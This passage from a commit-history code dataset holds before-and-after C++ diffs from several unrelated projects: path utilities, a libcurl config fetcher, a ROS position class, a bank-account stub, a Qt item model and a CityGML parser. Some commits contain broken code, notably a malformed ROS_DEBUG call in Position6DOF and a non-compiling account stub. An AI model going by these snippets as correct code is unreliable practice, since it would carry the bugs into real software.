\".com;.exe;.bat;.cmd\";\n    return split(pathext, ';');\n}\n\nbool is_executable(tstring const& name, std::vector<std::string> const& extensions)\n{\n    \/\/ check existence\n    if( !tinfra::fs::exists(name) )\n        return false;\n    \n    \/\/ check correct extension\n    const size_t name_len = name.size();\n    for( std::vector<std::string>::const_iterator iext = extensions.begin();\n          iext != extensions.end(); ++iext)\n    {\n        const std::string& ext    = *iext;\n        const size_t       extlen = ext.size();\n        \n        if( name_len < extlen )\n            continue;\n        \n        const tstring actual_ext = name.substr(name_len-extlen, extlen);\n        if( compare_no_case(actual_ext.data(), ext.data(), extlen) == 0 ) {\n            return true;\n        }\n    }\n    return false;\n}\n\n#endif\n\nbool is_executable(tstring const& name)\n{\n#ifdef _WIN32\n    \/\/ check PATHEXT or \".exe .com .bat .cmd\"\n    std::vector<std::string> extensions = get_executable_extensions();\n    return is_executable(name, extensions);\n#else\n    string_pool temporary_context;\n    struct stat st;\n    if( ::stat(name.c_str(temporary_context), &st) != 0 ) \n        return false;\n    const bool regular_file = (st.st_mode & S_IFREG) == S_IFREG; \n    const bool executable   = (st.st_mode & 0111) != 0;\n    return regular_file && executable;\n#endif\n}\n\nbool is_absolute(tstring const& filename)\n{\n    if( filename.size() == 0 )\n        return false;\n    if( filename[0] == '\/' || filename [0] == '\\\\')\n        return true;\n#ifdef _WIN32\n    if( filename.size() >= 2 && std::isalpha(filename[0]) && filename[1] == ':' )\n        return true;\n#endif\n    return false;\n}\n\n\nstd::string extension(tstring const& filename)\n{\n    \n    size_t last_dot = filename.find_last_of(\".\");\n    if( last_dot == tstring::npos )\n        return \"\";\n    \n    size_t last_slash = filename.find_last_of(\"\\\\\/\");\n    if( last_slash != tstring::npos && last_slash > last_dot )\n        \/\/ extension is somewhere in path component\n        return \"\";\n        \n    return filename.substr(last_dot+1).str();\n    \n}\n\nstd::string remove_extension(tstring const& filename)\n{\n\tconst size_t last_slash = filename.find_last_of(\"\\\\\/\");\n\tconst size_t last_dot = filename.find_last_of('.');\n\tif( ( last_slash != tstring::npos && last_dot < last_slash) || \n\t    ( last_dot == tstring::npos) ||\n\t\t( last_dot == filename.size() - 1 )\n\t\t) \n\t{\n\t\treturn filename.str();\n\t} else {\n\t\ttstring result = filename.substr(0, last_dot);\n\t\treturn result.str();\n\t}\n}\n\nstd::string remove_all_extensions(tstring const& filename)\n{\n\tconst size_t last_slash = filename.find_last_of(\"\\\\\/\");\n\tconst size_t last_dot = filename.find_first_of('.', last_slash);\n\tif( ( last_dot == tstring::npos ) ||\n\t\t( last_dot == filename.size() - 1 ) ) \n\t{\n\t\treturn filename.str();\n\t} else {\n\t\ttstring result = filename.substr(0, last_dot);\n\t\treturn result.str();\n\t}\n}\n\n\nbool has_extension(tstring const& filename)\n{\n    size_t find_start = filename.find_last_of(\"\\\\\/\");\n    if( find_start == tstring::npos )\n        find_start = 0;\n    else\n        find_start++;\n    \n    const size_t dot_pos = filename.find_first_of('.', find_start);\n    const bool dot_exists =   (dot_pos != tstring::npos);\n    const bool not_at_start = (dot_pos > find_start);\n    return dot_exists && not_at_start;\n}\n\n#ifdef _WIN32\nstatic const char PATH_SEPARATOR = ';';\n#else\nstatic const char PATH_SEPARATOR = ':';\n#endif\n\n#ifdef _WIN32\n\n\/\/\/\n\/\/\/ Check if file with appended various extensions\n\/\/\/ exists.\n\/\/\/\n\/\/\/ \n\/\/\/ @return empty if none of variant exists or name of firts variant that exists\n\nstatic std::string find_variant(tstring const& filename, std::vector<std::string> const& extensions)\n{\n    std::string pathext;\n    for( std::vector<std::string>::const_iterator iext = extensions.begin(); iext != extensions.end(); ++iext ) {\n        pathext.reserve(filename.size() + iext->size());\n        \n        pathext.assign(filename.data(), filename.size());\n        pathext.append(*iext);\n        \n        if( fs::exists(pathext) ) {\n            return pathext;\n        }\n    }\n    return \"\";\n}\n\nstd::string search_executable(tstring const& filename, tstring const& path)\n{\n    const bool filename_has_extension    = has_extension(filename);\n    const bool filename_is_absolute_path = is_absolute(filename);\n    \n    const std::vector<std::string> extensions = get_executable_extensions();  \n    \n    if( ! filename_is_absolute_path ) {\n        const std::vector<std::string> dirs = split(path, PATH_SEPARATOR);\n        \n        for(std::vector<std::string>::const_iterator ipath = dirs.begin(); ipath != dirs.end(); ++ipath ) {\n            const std::string path1 = tinfra::path::join(*ipath, filename);\n            if( filename_has_extension ) {\n                if( is_executable(path1 ,extensions) )\n                    return path1;\n                continue;\n            }\n            std::string maybe_with_ext = find_variant(path1, extensions);\n            if( ! maybe_with_ext.empty() )\n                return maybe_with_ext;\n        }\n    } else if( ! filename_has_extension ) {\n        return find_variant(filename.str(), extensions);\n    } else {\n        if( is_executable(filename, extensions) ) {\n            return filename.str();\n        }\n    }\n    return \"\";\n}\n\n\/\/ end of win32 version of search_executable\n#else \n\/\/ start of common, posix version\n\n\/\/ TODO: move it to posix_common.sh\nstd::string search_executable(tstring const& filename, tstring const& path)\n{\n    if( is_absolute(filename) )\n        if( is_executable(filename) )\n            return filename.str();\n    \n    std::vector<std::string> dirs = split(path, PATH_SEPARATOR);\n    \n    for(std::vector<std::string>::const_iterator ipath = dirs.begin(); ipath != dirs.end(); ++ipath )\n    {\n        std::string result_name = tinfra::path::join(*ipath, filename);\n        if( is_executable(result_name) ) {\n            return result_name;\n        }\n    }\n    return \"\";\n}\n#endif\n\nstd::string search_executable(tstring const& filename)\n{\n    const char* path = std::getenv(\"PATH\");\n    if( path == 0 )\n        path = \"\";\n    return search_executable(filename, path);\n}\n\n} } \/\/ end namespace tinfra::path\n\n\/\/ jedit: :tabSize=8:indentSize=4:noTabs=true:mode=c++\n\n<|endoftext|>"}
{"text":"<commit_before>#ifdef WIN32\n#include <windows.h>\n#define CURL_STATICLIB \/\/ this has to match the way the curl library was built.\n#else\n#include <stdlib.h>\n#endif\n\n#include <curl\/curl.h>\n#include <string.h>\n\n#include \"safe_fopen.h\"\n\nstruct Downloaded_Data\n{\n    char* text;\n    int size;\n};\n\nstatic size_t WriteCallback(char *contents, size_t size, size_t nmemb, void *userdata)\n{\n    Downloaded_Data *downloaded_data = (Downloaded_Data*)userdata;\n    size_t data_size = size * nmemb;\n\n    if(downloaded_data->text)\n    {\n        free(downloaded_data->text);\n        downloaded_data->text = NULL;\n    }\n\n    if(size == 0) return 0;\n\n    downloaded_data->text = (char*)malloc(data_size + 1);\n    \n    if(!downloaded_data->text) return 0;\n\n    downloaded_data->size = data_size;\n    memcpy(downloaded_data->text, contents, data_size);\n    downloaded_data->text[data_size] = 0;\n\n    return data_size;\n}\n\nvoid print_help()\n{\n    printf(\"This utility accepts arguments in the following format:\\n\");\n    printf(\"config_fetch http:\/\/url.to.config.file [path_to_cache_file]\\n\");\n    printf(\"config_fetch -help\");\n}\n\nbool print_cached_file(const char *cached_path)\n{\n    FILE *fp;\n    int character;\n\n    fp = safe_fopen_no_create_follow(cached_path, \"rb\");\n\n    if(!fp)\n    {\n        printf(\"Error: Failed to open cache file for reading.\\n\");\n        return false;\n    }\n\n    while((character = getc(fp)) != EOF)\n    {\n        putchar(character);\n    }\n\n    fclose(fp);\n\n    return true;\n}\n\nint main(int argc, char **argv) {\n    CURL *handle = NULL;\n    int rval = -1;\n    const char *cache_path;\n    Downloaded_Data downloaded_data;\n    FILE *fp = NULL;\n    long http_code;\n\n    downloaded_data.text = NULL;\n    downloaded_data.size = 0;\n\t\n    if(argc < 2 || argc > 3)\n    {\n        print_help();\n        return -1;\n    }\n\n    if(strncmp(argv[1], \"-h\", 2) == 0)\n    {\n        print_help();\n        return 0;\n    }\n\n    if(argc == 3)\n        cache_path = argv[2];\n    else\n        cache_path = \"config_cache.local\";\n\n#ifndef WIN32\n\tcurl_global_init(CURL_GLOBAL_NOTHING);\n#endif\n    handle = curl_easy_init();\n\n    if(!handle)\n    {\n        fprintf(stderr, \"Error attempting to initialize CURL library.\\n\");\n        return -1;\n    }\n\n    curl_easy_setopt(handle, CURLOPT_URL, argv[1]);\n    curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, WriteCallback);\n    curl_easy_setopt(handle, CURLOPT_WRITEDATA, &downloaded_data);\n\tcurl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, -1);\n\n    rval = curl_easy_perform(handle);\n    if(rval || !downloaded_data.text)\n    {\n        print_cached_file(cache_path);\n        goto Cleanup;\n    }\n\n    rval = curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_code);\n\n    if(rval)\n    {\n        print_cached_file(cache_path);\n        goto Cleanup;\n    }\n\n    if(http_code != 200)\n    {\n        print_cached_file(cache_path);\n        goto Cleanup;\n    }\n\n    int cb = fwrite(downloaded_data.text, 1, downloaded_data.size, stdout);\n    if (cb != downloaded_data.size) {\n\t\tfprintf(stderr, \"error: could not write entire config to stdout\\n\");\n    }\n\n    fp = safe_fcreate_replace_if_exists(cache_path, \"wb\");\n    if(!fp) goto Cleanup;\n\n    cb = fwrite(downloaded_data.text, 1, downloaded_data.size, fp);\n    if (cb != downloaded_data.size) {\n\t\tfprintf(stderr, \"error: could not write entire config to cache file!\\n\");\n    }\n\n    fclose(fp);\n\nCleanup:\n    if(downloaded_data.text) free(downloaded_data.text);\n    curl_easy_cleanup(handle);\n    curl_global_cleanup();\n\n\treturn rval;\t\/\/ 0 on success\n}\n<commit_msg>change #4018 because gcc can't figure out that valid code is valid<commit_after>#ifdef WIN32\n#include <windows.h>\n#define CURL_STATICLIB \/\/ this has to match the way the curl library was built.\n#else\n#include <stdlib.h>\n#endif\n\n#include <curl\/curl.h>\n#include <string.h>\n\n#include \"safe_fopen.h\"\n\nstruct Downloaded_Data\n{\n    char* text;\n    int size;\n};\n\nstatic size_t WriteCallback(char *contents, size_t size, size_t nmemb, void *userdata)\n{\n    Downloaded_Data *downloaded_data = (Downloaded_Data*)userdata;\n    size_t data_size = size * nmemb;\n\n    if(downloaded_data->text)\n    {\n        free(downloaded_data->text);\n        downloaded_data->text = NULL;\n    }\n\n    if(size == 0) return 0;\n\n    downloaded_data->text = (char*)malloc(data_size + 1);\n    \n    if(!downloaded_data->text) return 0;\n\n    downloaded_data->size = data_size;\n    memcpy(downloaded_data->text, contents, data_size);\n    downloaded_data->text[data_size] = 0;\n\n    return data_size;\n}\n\nvoid print_help()\n{\n    printf(\"This utility accepts arguments in the following format:\\n\");\n    printf(\"config_fetch http:\/\/url.to.config.file [path_to_cache_file]\\n\");\n    printf(\"config_fetch -help\");\n}\n\nbool print_cached_file(const char *cached_path)\n{\n    FILE *fp;\n    int character;\n\n    fp = safe_fopen_no_create_follow(cached_path, \"rb\");\n\n    if(!fp)\n    {\n        printf(\"Error: Failed to open cache file for reading.\\n\");\n        return false;\n    }\n\n    while((character = getc(fp)) != EOF)\n    {\n        putchar(character);\n    }\n\n    fclose(fp);\n\n    return true;\n}\n\nint main(int argc, char **argv) {\n    CURL *handle = NULL;\n    int rval = -1;\n    const char *cache_path;\n    Downloaded_Data downloaded_data;\n    FILE *fp = NULL;\n    long http_code;\n    int cb = 0;\n\n    downloaded_data.text = NULL;\n    downloaded_data.size = 0;\n\n    if(argc < 2 || argc > 3)\n    {\n        print_help();\n        return -1;\n    }\n\n    if(strncmp(argv[1], \"-h\", 2) == 0)\n    {\n        print_help();\n        return 0;\n    }\n\n    if(argc == 3)\n        cache_path = argv[2];\n    else\n        cache_path = \"config_cache.local\";\n\n#ifndef WIN32\n\tcurl_global_init(CURL_GLOBAL_NOTHING);\n#endif\n    handle = curl_easy_init();\n\n    if(!handle)\n    {\n        fprintf(stderr, \"Error attempting to initialize CURL library.\\n\");\n        return -1;\n    }\n\n    curl_easy_setopt(handle, CURLOPT_URL, argv[1]);\n    curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, WriteCallback);\n    curl_easy_setopt(handle, CURLOPT_WRITEDATA, &downloaded_data);\n    curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, -1);\n\n    rval = curl_easy_perform(handle);\n    if(rval || !downloaded_data.text)\n    {\n        print_cached_file(cache_path);\n        goto Cleanup;\n    }\n\n    rval = curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_code);\n    if(rval)\n    {\n        print_cached_file(cache_path);\n        goto Cleanup;\n    }\n\n    if(http_code != 200)\n    {\n        print_cached_file(cache_path);\n        goto Cleanup;\n    }\n\n    cb = fwrite(downloaded_data.text, 1, downloaded_data.size, stdout);\n    if (cb != downloaded_data.size) {\n        fprintf(stderr, \"error: could not write entire config to stdout\\n\");\n    }\n\n    fp = safe_fcreate_replace_if_exists(cache_path, \"wb\");\n    if(!fp) goto Cleanup;\n\n    cb = fwrite(downloaded_data.text, 1, downloaded_data.size, fp);\n    if (cb != downloaded_data.size) {\n        fprintf(stderr, \"error: could not write entire config to cache file!\\n\");\n    }\n\n    fclose(fp);\n\nCleanup:\n    if(downloaded_data.text) free(downloaded_data.text);\n    curl_easy_cleanup(handle);\n    curl_global_cleanup();\n\n\treturn rval;\t\/\/ 0 on success\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"Position6DOF.hpp\"\n\nPosition6DOF::Position6DOF(double x, double y, double z,  double xOrientation,  double yOrientation,  double zOrientation)\n{\n\tthis->position[0] = (x);\n\tthis->position[1] = (y);\n\tthis->position[2] = (z);\n\tthis->orientation[0] = (xOrientation);\n\tthis->orientation[1] = (yOrientation);\n\tthis->orientation[2] = (zOrientation);\n\tthis->timestamp = getNanoTime();\n}\n\nPosition6DOF::Position6DOF(double x, double y, double z)\n{\n\tthis->position[0] = (x);\n\tthis->position[1] = (y);\n\tthis->position[2] = (z);\n\tthis->orientation[0] = 0;\n\tthis->orientation[1] = 0;\n\tthis->orientation[2] = 0;\n\tthis->timestamp = getNanoTime();\n}\n\nPosition6DOF::Position6DOF(Vector vector)\n{\n\tthis->position[0] = vector.getV1();\n\tthis->position[1] = vector.getV2();\n\tthis->position[2] = vector.getV3();\n\tthis->timestamp = getNanoTime();\n}\n\ndouble* Position6DOF::getPosition()\n{\n\treturn this->position;\n}\n\n\n double* Position6DOF::getOrientation()\n{\n\treturn this->orientation;\n}\n\nvoid Position6DOF::setPosition(double* position)\n{\n\tfor(int i = 0; i < 3; i++)\n\t{\t\n\t\tthis->position[i] = position[i];\n\t}\n\t\n}\n\nvoid Position6DOF::setOrientation( double* orientation)\n{\n\tfor(int i = 0; i < 3; i++)\n\t{\t\n\t\tthis->orientation[i] = orientation[i];\n\t}\n}\n\nlong int Position6DOF::getTimestamp()\n{\n\treturn this->timestamp;\n}\n\nvoid Position6DOF::setTimestamp(long int newTimestamp) \n{\n\tthis->timestamp = newTimestamp;\n}\n\n\ndouble Position6DOF::getAbsoluteDistance()\n{\n\tdouble sum = 0;\n\tfor( int i = 0; i < 3; i++ )\n\t{\n\t\tsum = sum + (this->position[i] * this->position[i]);\n\t}\n\treturn sqrt( sum );\n}\n\ndouble Position6DOF::getAbsoluteDistance( Position6DOF otherPosition )\n{\n\tdouble sum = 0;\n\tdouble distanceOfOne;\n\tfor( int i = 0; i < 3; i++ )\n\t{\n\t\tdistanceOfOne = position[i] - otherPosition.getPosition()[i];\n\t\tdistanceOfOne *= distanceOfOne;\n\t\tsum += distanceOfOne;\n\t}\n\treturn sqrt( sum );\n}\n\ndouble Position6DOF::getDistanceZ( Position6DOF otherPosition )\n{\n\treturn (otherPosition.getPosition()[2] - this->position[2]);\n}\n\nvoid Position6DOF::predictNextPosition( Position6DOF olderPosition, long int timeInFuture )\n{\n\tlong int timediff = this->timestamp - olderPosition.getTimestamp();\n\tif(timediff == 0)\n\t{\n\t\tROS_ERROR(\"this->timestamp %ld and olderPos %ld\", this->timestamp, olderPosition.getTimestamp());\n\t} \n\telse\n\t{\n\t\tROS_DEBUG(\"this->timestamp %ld and olderPos %ld\", this->timestamp, olderPosition.getTimestamp());\n\t}\n\n\tthis->timestamp = this->timestamp + timeInFuture;\n\n\tdouble xDiff = this->position[0] - olderPosition.getPosition()[0];\n\tdouble yDiff = this->position[1] - olderPosition.getPosition()[1];\n\tdouble zDiff = this->position[2] - olderPosition.getPosition()[2];\n\tdouble rate = 0;\n\tif( timediff != 0 )\n\t{\n\t\trate = ((double) timeInFuture) \/((double) timediff) \/ 1000000000;\n\t\tROS_INFO(\"rate %f\", rate);\n\t}\n\t\n\tdouble xNew = this->position[0] + xDiff*rate;\n\tdouble yNew = this->position[1] + yDiff*rate;\n\tdouble zNew = this->position[2] + zDiff*rate;\n\tthis->position[0] = xNew;\n\tthis->position[1] = yNew;\n\tthis->position[2] = zNew;\n}\n<commit_msg>timediff output normalized<commit_after>\n#include \"Position6DOF.hpp\"\n\nPosition6DOF::Position6DOF(double x, double y, double z,  double xOrientation,  double yOrientation,  double zOrientation)\n{\n\tthis->position[0] = (x);\n\tthis->position[1] = (y);\n\tthis->position[2] = (z);\n\tthis->orientation[0] = (xOrientation);\n\tthis->orientation[1] = (yOrientation);\n\tthis->orientation[2] = (zOrientation);\n\tthis->timestamp = getNanoTime();\n}\n\nPosition6DOF::Position6DOF(double x, double y, double z)\n{\n\tthis->position[0] = (x);\n\tthis->position[1] = (y);\n\tthis->position[2] = (z);\n\tthis->orientation[0] = 0;\n\tthis->orientation[1] = 0;\n\tthis->orientation[2] = 0;\n\tthis->timestamp = getNanoTime();\n}\n\nPosition6DOF::Position6DOF(Vector vector)\n{\n\tthis->position[0] = vector.getV1();\n\tthis->position[1] = vector.getV2();\n\tthis->position[2] = vector.getV3();\n\tthis->timestamp = getNanoTime();\n}\n\ndouble* Position6DOF::getPosition()\n{\n\treturn this->position;\n}\n\n\n double* Position6DOF::getOrientation()\n{\n\treturn this->orientation;\n}\n\nvoid Position6DOF::setPosition(double* position)\n{\n\tfor(int i = 0; i < 3; i++)\n\t{\t\n\t\tthis->position[i] = position[i];\n\t}\n\t\n}\n\nvoid Position6DOF::setOrientation( double* orientation)\n{\n\tfor(int i = 0; i < 3; i++)\n\t{\t\n\t\tthis->orientation[i] = orientation[i];\n\t}\n}\n\nlong int Position6DOF::getTimestamp()\n{\n\treturn this->timestamp;\n}\n\nvoid Position6DOF::setTimestamp(long int newTimestamp) \n{\n\tthis->timestamp = newTimestamp;\n}\n\n\ndouble Position6DOF::getAbsoluteDistance()\n{\n\tdouble sum = 0;\n\tfor( int i = 0; i < 3; i++ )\n\t{\n\t\tsum = sum + (this->position[i] * this->position[i]);\n\t}\n\treturn sqrt( sum );\n}\n\ndouble Position6DOF::getAbsoluteDistance( Position6DOF otherPosition )\n{\n\tdouble sum = 0;\n\tdouble distanceOfOne;\n\tfor( int i = 0; i < 3; i++ )\n\t{\n\t\tdistanceOfOne = position[i] - otherPosition.getPosition()[i];\n\t\tdistanceOfOne *= distanceOfOne;\n\t\tsum += distanceOfOne;\n\t}\n\treturn sqrt( sum );\n}\n\ndouble Position6DOF::getDistanceZ( Position6DOF otherPosition )\n{\n\treturn (otherPosition.getPosition()[2] - this->position[2]);\n}\n\nvoid Position6DOF::predictNextPosition( Position6DOF olderPosition, long int timeInFuture )\n{\n\tlong int timediff = this->timestamp - olderPosition.getTimestamp();\n\tif(timediff == 0)\n\t{\n\t\tROS_ERROR(\"this->timestamp %ld and olderPos %ld\", this->timestamp, olderPosition.getTimestamp());\n\t} \n\telse\n\t{\n\t\tdouble timediffNorm = ((double) timediff) \/ ((double) 1000000000);\n\t\tROS_DEBUG(\"timediffNorm: %f\", this->timestamp olderPosition.getTimestamp());\n\t}\n\n\tthis->timestamp = this->timestamp + timeInFuture;\n\n\tdouble xDiff = this->position[0] - olderPosition.getPosition()[0];\n\tdouble yDiff = this->position[1] - olderPosition.getPosition()[1];\n\tdouble zDiff = this->position[2] - olderPosition.getPosition()[2];\n\tdouble rate = 0;\n\tif( timediff != 0 )\n\t{\n\t\trate = ((double) timeInFuture) \/((double) timediff) \/ 1000000000;\n\t\tROS_INFO(\"rate %f\", rate);\n\t}\n\t\n\tdouble xNew = this->position[0] + xDiff*rate;\n\tdouble yNew = this->position[1] + yDiff*rate;\n\tdouble zNew = this->position[2] + zDiff*rate;\n\tthis->position[0] = xNew;\n\tthis->position[1] = yNew;\n\tthis->position[2] = zNew;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <string>\n\nusing namespace std;\n\ntypedef struct {\n    String nome;\n    String cpf;\n    float saldo;\n} Conta;\n\nint main() {\n    Conta conta;\n\n    init_conta( conta );\n\n    return 0;\n}\n<commit_msg>Criando estruturas de dados<commit_after>#include <iostream>\n#include <string>\n\nusing namespace std;\n\ntypedef struct {\n    String nome;\n    String cpf;\n    float saldo;\n} Conta;\n\nfloat get_saldo( Conta &conta ) {\n    return conta.saldo;\n}\n\nvoid set_saldo( Conta &conta ) {\n    conta.saldo;\n}\nint main() {\n    Conta conta;\n\n    init_conta( conta );\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include <propertyzeug\/PropertyGroup.h>\n#include <propertyguizeug\/PropertyItemModel.h>\n#include <propertyguizeug\/PropertyType.h>\n\nnamespace propertyguizeug {\n    \nPropertyItemModel::PropertyItemModel(PropertyGroup * root, QObject * parent)\n:   QAbstractItemModel(parent)\n,   m_root(root)\n{\n}\n\nPropertyItemModel::~PropertyItemModel()\n{\n}\n\nQModelIndex PropertyItemModel::index(int row, int column, const QModelIndex & parentIndex) const\n{\n    if (column > 1)\n        return QModelIndex();\n    \n    if (!parentIndex.isValid()) {\n        if (row == 0 && column == 0)\n            return this->createIndex(0, 0, m_root);\n        else\n            return QModelIndex();\n    }\n\n    AbstractProperty * property = static_cast<AbstractProperty *>(parentIndex.internalPointer());\n        \n    if (!property->isGroup())\n        return QModelIndex();\n    \n    PropertyGroup * parent = property->to<PropertyGroup>();\n    \n    return this->createIndex(row, column, parent->property(row));\n}\n\nQModelIndex PropertyItemModel::parent(const QModelIndex & index) const\n{\n    if (!index.isValid())\n        return QModelIndex();\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(index.internalPointer());\n    \n    if (property == m_root)\n        return QModelIndex();\n    \n    PropertyGroup * parent = property->parent();\n    if (parent == m_root)\n        return this->createIndex(0, 0, m_root);\n    \n    int row = parent->parent()->indexOfProperty(parent->name());\n    return this->createIndex(row, 0, parent);\n}\n\nint PropertyItemModel::rowCount(const QModelIndex & parentIndex) const\n{\n    if (!parentIndex.isValid())\n        return 1;\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(parentIndex.internalPointer());\n    return property->isGroup() ? property->to<PropertyGroup>()->propertyCount() : 0;\n}\n\nint PropertyItemModel::columnCount(const QModelIndex & parentIndex) const\n{\n    if (!parentIndex.isValid())\n        return 2;\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(parentIndex.internalPointer());\n    \n    if (!property->isGroup())\n        return 0;\n    \n    PropertyGroup * group = property->to<PropertyGroup>();\n    \n    return group->hasProperties() ? 2 : 0;\n}\n\nQVariant PropertyItemModel::data(const QModelIndex & index, int role) const\n{\n    if (role == Qt::DisplayRole) {\n        if (!index.isValid())\n            return QVariant();\n        \n        AbstractProperty * property = static_cast<AbstractProperty *>(index.internalPointer());\n        \n        if (index.column() == 0)\n            return QVariant(QString::fromStdString(property->title()));\n        \n        if (index.column() == 1) {\n            if (property->isGroup())\n                return QVariant();\n            \n            return QVariant(QString::fromStdString(property->valueAsString()));\n        }    \n    }\n    \n    return QVariant();\n}\n    \nQt::ItemFlags PropertyItemModel::flags(const QModelIndex &index) const\n{\n    if (!index.isValid())\n        return 0;\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(index.internalPointer());\n    \n    Qt::ItemFlags flags = Qt::ItemIsEnabled | Qt::ItemIsSelectable;\n\n    if (index.column() == 1 && !property->isGroup())\n        flags |= Qt::ItemIsEditable;\n    \n    return flags;\n}\n\n} \/\/ namespace\n\n<commit_msg>remove root from propertyitemmodel<commit_after>\n#include <propertyzeug\/PropertyGroup.h>\n#include <propertyguizeug\/PropertyItemModel.h>\n#include <propertyguizeug\/PropertyType.h>\n\nnamespace propertyguizeug {\n    \nPropertyItemModel::PropertyItemModel(PropertyGroup * root, QObject * parent)\n:   QAbstractItemModel(parent)\n,   m_root(root)\n{\n}\n\nPropertyItemModel::~PropertyItemModel()\n{\n}\n\nQModelIndex PropertyItemModel::index(int row, int column, const QModelIndex & parentIndex) const\n{\n    if (column > 1)\n        return QModelIndex();\n\n    AbstractProperty * parent;\n    if (!parentIndex.isValid())\n        parent = m_root;\n    else\n        parent = static_cast<AbstractProperty *>(parentIndex.internalPointer());\n        \n    if (!parent->isGroup())\n        return QModelIndex();\n    \n    PropertyGroup * group = parent->to<PropertyGroup>();\n    \n    return this->createIndex(row, column, group->property(row));\n}\n\nQModelIndex PropertyItemModel::parent(const QModelIndex & index) const\n{\n    if (!index.isValid())\n        return QModelIndex();\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(index.internalPointer());\n    \n    if (property == m_root)\n        return QModelIndex();\n    \n    PropertyGroup * parent = property->parent();\n    \n    int row;\n    if (parent == m_root)\n        row = 0;\n    else\n        row = parent->parent()->indexOfProperty(parent->name());\n    \n    return this->createIndex(row, 0, parent);\n}\n\nint PropertyItemModel::rowCount(const QModelIndex & parentIndex) const\n{\n    if (!parentIndex.isValid())\n        return m_root->propertyCount();\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(parentIndex.internalPointer());\n    return property->isGroup() ? property->to<PropertyGroup>()->propertyCount() : 0;\n}\n\nint PropertyItemModel::columnCount(const QModelIndex & parentIndex) const\n{\n    if (!parentIndex.isValid())\n        return 2;\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(parentIndex.internalPointer());\n    \n    if (!property->isGroup())\n        return 0;\n    \n    PropertyGroup * group = property->to<PropertyGroup>();\n    \n    return group->hasProperties() ? 2 : 0;\n}\n\nQVariant PropertyItemModel::data(const QModelIndex & index, int role) const\n{\n    if (role == Qt::DisplayRole) {\n        if (!index.isValid())\n            return QVariant();\n        \n        AbstractProperty * property = static_cast<AbstractProperty *>(index.internalPointer());\n        \n        if (index.column() == 0)\n            return QVariant(QString::fromStdString(property->title()));\n        \n        if (index.column() == 1) {\n            if (property->isGroup())\n                return QVariant();\n            \n            return QVariant(QString::fromStdString(property->valueAsString()));\n        }    \n    }\n    \n    return QVariant();\n}\n    \nQt::ItemFlags PropertyItemModel::flags(const QModelIndex &index) const\n{\n    if (!index.isValid())\n        return 0;\n    \n    AbstractProperty * property = static_cast<AbstractProperty *>(index.internalPointer());\n    \n    Qt::ItemFlags flags = Qt::ItemIsEnabled | Qt::ItemIsSelectable;\n\n    if (index.column() == 1 && !property->isGroup())\n        flags |= Qt::ItemIsEditable;\n    \n    return flags;\n}\n\n} \/\/ namespace\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"parser\/geometryelementparser.h\"\n\n#include <unordered_set>\n\n#include \"parser\/nodetypes.h\"\n#include \"parser\/attributes.h\"\n#include \"parser\/documentlocation.h\"\n#include \"parser\/polygonelementparser.h\"\n#include \"parser\/delayedchoiceelementparser.h\"\n#include \"parser\/sequenceparser.h\"\n\n#include <citygml\/geometry.h>\n#include <citygml\/citygmlfactory.h>\n#include <citygml\/citygmllogger.h>\n#include <citygml\/polygon.h>\n\n#include <mutex>\n\n#include <stdexcept>\n\nnamespace citygml {\n\n\n    \/\/ The nodes that are valid Geometry Objects\n    std::unordered_set<int> geometryTypeIDSet;\n    bool geometryTypeIDSetInitialized = false;\n    std::mutex geometryElement_initializedTypeIDMutex;\n\n    GeometryElementParser::GeometryElementParser(CityGMLDocumentParser& documentParser, CityGMLFactory& factory, std::shared_ptr<CityGMLLogger> logger,\n                                                 int lodLevel, CityObject::CityObjectsType parentType,  std::function<void(Geometry*)> callback)\n        : GMLObjectElementParser(documentParser, factory, logger)\n    {\n        m_callback = callback;\n        m_lodLevel = lodLevel;\n        m_parentType = parentType;\n    }\n\n    std::string GeometryElementParser::elementParserName() const\n    {\n        return \"GeometryElementParser\";\n    }\n\n    bool GeometryElementParser::handlesElement(const NodeType::XMLNode& node) const\n    {\n        if(!geometryTypeIDSetInitialized) {\n\n            std::lock_guard<std::mutex> lock(geometryElement_initializedTypeIDMutex);\n\n            if (!geometryTypeIDSetInitialized) {\n\n                geometryTypeIDSet.insert(NodeType::GML_CompositeSolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_SolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_MultiSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_CompositeSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_TriangulatedSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_OrientableSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_MultiSolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_CompositeSolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_ShellNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_PolyhedralSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_SurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_ShellNode.typeID());\n                geometryTypeIDSetInitialized = true;\n\n            }\n        }\n\n        return geometryTypeIDSet.count(node.typeID()) > 0;\n    }\n\n    bool GeometryElementParser::parseElementStartTag(const NodeType::XMLNode& node, Attributes& attributes)\n    {\n\n        if (!handlesElement(node)) {\n            CITYGML_LOG_ERROR(m_logger, \"Expected start tag of GeometryObject but got <\" << node.name() << \"> at \" << getDocumentLocation());\n            throw std::runtime_error(\"Unexpected start tag found.\");\n        }\n\n        m_model = m_factory.createGeometry(attributes.getCityGMLIDAttribute(), m_parentType, m_lodLevel);\n        m_orientation = attributes.getAttribute(\"orientation\", \"+\"); \/\/ A 